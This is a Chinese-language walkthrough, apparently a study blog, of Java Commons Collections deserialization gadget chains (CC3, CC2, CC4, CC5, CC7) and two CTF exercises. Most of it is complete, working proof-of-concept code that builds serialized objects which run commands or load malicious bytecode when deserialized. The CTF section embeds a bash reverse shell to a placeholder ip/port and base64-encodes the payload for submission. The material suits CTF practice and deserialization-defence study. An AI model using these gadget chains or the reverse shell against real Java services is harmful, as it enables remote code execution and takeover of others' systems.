CC3调用链
好了,这里回到CC3
这里CC3的作者找到了一个TrAXFilter类
其中的构造函数里调用了newTransformer方法,templates也是可控的
但是这个TrAXFilter类没有实现Serializable接口,所以就不能进行序列化操作。但是就像Runtime也不能进行序列化操作一样,我们可以利用反射把TrAXFilter.class这个可以序列化的传过去,然后找到有函数中调用了类似于c =(a).getConstructor(b);c.newInstance(d)的语句,实现触发TrAXFilter构造函数的目的。
还真就有这样一个类里调用了这种语句
InstantiateTransformer类的transform函数,而且恰巧这些参数我们都能控制。
所以加上这两句
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
接下来就是找怎么去调用InstantiateTransformer的transform函数
其实还是CC1里的东西,既然CC1里可以调InvokerTransformer.transform,那也就可以调InstantiateTransformer.transform
调用成功
这里的Transformer[]一定要改为下面这个
Transformer[] t = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
如果只用 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),会由于CC1的transform参数不可控不能构造成InstantiateTransformer.transform(TrAXFilter.class),导致无法在反序列化时有实例化的TrAXFilter类
完整poc
public class cc3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
// _name赋值不为null
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");
// _class赋值为null
Field classField = templates.getClass().getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
//加载恶意类的字节码
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
//转为二维数组
byte[][] codes = {code};
bytecodes.set(templates,codes);
//_tfactory赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] t = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
HashMap map = new HashMap();
map.put("value","value");
Map decorate = TransformedMap.decorate(map, null, chainedTransformer);
//
//创建AnnotationinvocationHandler的类对象
Class<?> AIH_construct = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造方法
Constructor<?> declaredConstructor = AIH_construct.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
ser(o);
unser();
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
oi.readObject();
}
}
总结
对于CC3
入口类是AnnotationinvocationHandler
执行类是TemplatesImpl
利用链是
AnnotationinvocationHandler.readObject
AbstractInputCheckedMapDecorator.setValue
Transformed.checkSetValue
ChainedTransformer.transform
ConstantTransformer.transform
InstantiateTransformer.transform
TrAXFilter
TransformerImpl.newTransformer
TransformerImpl.getTransletInstance
TransformerImpl.defineTransletClasses
TransformerImpl.defineClass
CC2
环境搭建
CommonsCollections4.0
因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。
4.1版本:
调用链
CC2和CC1一样,最后的都是到InvokerTransformer.transform方法
所以前边这部分是一样的
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd","/c","calc"}})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
接下来去找哪调用了transform方法
这里调了TransformingComparator的compare方法
这个transformer是可控的,构造函数里可以直接传
然后去找一下哪里调了compare
在PriorityQueue类的siftDownUsingComparator方法里
这个虽然是私有的,但是在PriorityQueue类的readObject方法里调了heapify方法,heapify方法又调了siftDown,然后在siftDown里实现了对siftDownUsingComparator的调用
不过这里有两个if判断
第一个if需要(size>>>1)-1>=0,为2就行
然后这里调两次add,就可以实现让size为2的目的
这个comparator也可以控制,也是我们必须要写的参数,所以第二个if可以忽略了,(TransformingComparator实现了Comparator接口,所以这里边可以写TransformingComparator
这里可以先写个poc了
public class cc2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd","/c","calc"}})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(1);
ser(priorityQueue);
// unser();
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
oi.readObject();
}
}
完善
但是这里序列化的时候也弹计算器了,原因就是在第二次add的时候,不满足if判断进了siftUp里,然后在siftUp里也有个siftDownUsingComparator,导致提前执行了命令
这里就要用我们熟悉的反射了
最终poc
package org.cc2;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd","/c","calc"}})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);
Class aClass = priorityQueue.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
// priorityQueue.add(1);
// priorityQueue.add(1);
ser(priorityQueue);
// unser();
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
oi.readObject();
}
}
这里计算器会弹两次,因为compare里调了两次transform
总结
cc2的链挺短的,也挺简单
执行类是InvokerTransformer
入口类是PriorityQueue
调用链是
PriorityQueue.readObject
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare
InvokerTransformer.transform
CC4
cc4像是cc2和cc3的缝合品
使用了cc3的加载字节码的执行方式,但是前半部分用了cc2的链子
所以这里不分析了,简单写一下调用链
调用链
PriorityQueue.readObject
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare
ChainedTransformer.transform
ConstantTransformer.transform
InstantiateTransformer.transform
TrAXFilter
TransformerImpl.newTransformer
TransformerImpl.getTransletInstance
TransformerImpl.defineTransletClasses
TransformerImpl.defineClass
poc
package org.cc4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
TemplatesImpl templates = new TemplatesImpl();
// _name赋值不为null
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");
// _class赋值为null
Field classField = templates.getClass().getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
//加载恶意类的字节码
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
//转为二维数组
byte[][] codes = {code};
bytecodes.set(templates,codes);
//_tfactory赋值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] t = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);
Class aClass = priorityQueue.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
ser(priorityQueue);
unser();
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
oi.readObject();
}
}
CC5
CC5的环境又回到了CommonsCollections3
CommonsCollections1和CommonsCollections3因为AnnotaionInvocationHandler入口在jdk8中代码被修改了导致不能使用,所以CommonsCollections5换了一个入口,在调用链的构造中,也新加了一个TiedMapEntry作为中转。
分析
CC5的后半段就是从LazyMap.get到InvokerTransformer.transform
这里和LazyMap链一样就不细说了,这里就说说前半段,要找到调用get方法的类,在CC6里我们用的是TiredMapEntry类的getValue方法,在CC5里也是它,但是在CC6里用的是它的hashCode方法来调用getValue方法,而在CC5里用的是它的toString方法
然后就去找有没有调用toString的(这个可太多了
在CC5里找的是BadAttributeValueExpException类的readObject方法
这里简单说一下readObject里的内容,要想到toString,就要满足两个if判断,首先val不为空,其次判断valObj是否是String类的实例或者是子类实例,如果都不满足,就进入最后一个elseif里调用valObj.toString,所以这里让valObj为TiredMapEntry类的就行了,这个在实例化的时候可以赋值
理想poc
public class cc5 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
ser(badAttributeValueExpException);
unser();
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
oi.readObject();
}
}
完善
但是实际上上边的poc在序列化过程会执行命令,但是在反序列化过程中反而不会执行
原因就是在的构造函数里BadAttributeValueExpException
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
可以看到在构造的时候就已经调用了toString函数导致了命令执行,并且还改变了val的值,导致无法在反序列时执行
这里也是用反射,在实例化BadAttributeValueExpException对象时放个空值,然后再把里边的val值改了就行
最终poc
package org.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
Class aClass = badAttributeValueExpException.getClass();
Field declaredField = aClass.getDeclaredField("val");
declaredField.setAccessible(true);
declaredField.set(badAttributeValueExpException,tiedMapEntry);
ser(badAttributeValueExpException);
unser();
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream oi = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
oi.readObject();
}
}
CC7
分析
CC7的后半部分还是调用lazymap的get方法然后到InvokerTransformer.transform
但是与其他的cc链不同,cc7利用AbstractMap的equals方法来调用lazymap的get方法
这里只要控制m是lazymap类的对象就可以了,这个m也就是我们传入的o
然后再去找调用了equals方法的类
cc7里用的是HashTable类的reconstitutionPut方法
这里的key是我们可控的,在HashTable的readObject方法里
这个key是从readObject方法里拿到的,那writeObject里应该也有
这里的话他进行序列化,首先写入了table的长度以及table的元素个数,然后取出table中的元素,放入entryStack,这里其实就是栈,然后把栈里面的每个元素用writeObject写入。
很明显了,这里传递的实际上就是HashTable#put时添加进去的key和value。
那么也就是说key是可控的,key可控所以e.key.equals(key)也可控
那么m就是我们可控的,然后达到调用lazymap.get的目的
编写poc
虽然调用链已经弄清楚了,但是在编写poc之前还有几个要注意的地方
1.如何进入reconstitutionPut的for循环中
因为第一次put时table里是空的,不会进入for循环,而在第二次时,第一次的数据已经进入了table,这时候才会进入for循环
所以这里至少要put进两个不一样的LazyMap,就相当于有两个不一样的hashMap。(如果传入了相同的值,则 Hashtable#readObject 中的 elements 便会为 1,也就还是不会进入for循环
2.如何满足e.hash == hash
首先这里求hash的方法是key.hashCode(),key是我们的HashMap对象,也就是HashMap里的hashCode,可以跟一下最后调用的hashCode是这样的
Java的hashCode有点小bug
"yy".hashCode() == "zZ".hashCode()
所以只要让我们的hashMap的值分别为yy和zZ就能满足e.hash==hash然后去执行&&后面的 e.key.equals(key)了
3.如何调用AbstractMap这个抽象类里的equals方法
HashMap源码中的equals()定义是Entry类的,所以如果不是Entry类去调HashMap.equals,调用的其实就是它继承的AbstractMap抽象类里的equals
完善
弹了,但是没完全弹
在序列化之前出现了一个无法被反序列化的实例
根据经验,这个就是因为在构造的时候执行了一遍命令,让其中一个值成为了java.lang.ProcessImpl类型的。
不出意外的话,还是put问题,我们可以跟一下看看
果然,在put里调用了LazyMap的equals函数
但是LazyMap没equals,所以调用了它的父类AbstractMapDecorator里的equals
然后又调用了HashMap的equals方法,但是HashMap继承了AbstractMap抽象类,这个抽象类中有equals方法,所以就会调用
AbstractMap的equals方法,导致命令提前执行,并且会让hashmap2的key中就会增加一个yy键,而这个键的值为UNIXProcess这个类的实例:
而且在反序列化的时候AbstractMap抽象类的equals会在第三个if判断中会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞
所以还要remove掉hashmap2里多出的yy键值对
还有就是为了不让构造的时候就执行命令,用反射的方式改个值就行,最终payload
package org.cc7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap1.put("yy",1);
hashMap2.put("zZ",1);
Map decorate1 = LazyMap.decorate(hashMap1, chainedTransformer);
Map decorate2 = LazyMap.decorate(hashMap2, new ConstantTransformer("1"));
Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>();
objectObjectHashtable.put(decorate1,1);
objectObjectHashtable.put(decorate2,1);
hashMap2.remove("yy");
Class<? extends Map> aClass = decorate2.getClass();
Field factory = aClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate2,chainedTransformer);
serialize(objectObjectHashtable);
unserialize();
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream ois=new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
ois.readObject();
}
}
总结
作为最后一个CC链,CC7的入口类是Hashtable,执行类依旧是InvokerTransformer
调用链
Hashtable.readObject
Hashtable.reconstitutionPut
AbstractMap.equals
LazyMap.get
InvokerTransformer.transform
总结
对于反序列化来说,在调用链上的每个方法看起来是独立的,却又相互联系,通过不同的组合形成能够形成各种不同调用链
其中比较重要的是
CC2和CC3属于4.0环境
其余的属于3.0+版本,
其中高版本也可用的CC6和4.0版本的CC2是比较重要的
例题
web847
题目环境中,没有nc和curl命令,但是有bash,所以反弹shell
Java7的环境,使用了commons-collections 3.1的库
所以用CC1就行
把序列化内容写入输出流里,然后base64输出
public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Transformer[] t = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"}})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(t);
// InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap();
map.put("value","value");
Map decorate = TransformedMap.decorate(map, null, chainedTransformer);
//
//创建AnnotationinvocationHandler的类对象
Class<?> AIH_construct = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造方法
Constructor<?> declaredConstructor = AIH_construct.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
byte[] buf = byteArrayOutputStream.toByteArray();
// base64编码
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(buf);
System.out.println(base64);
}
web848
在847的基础上禁止了TransformedMap类
换成LazyMap就行,一样的东西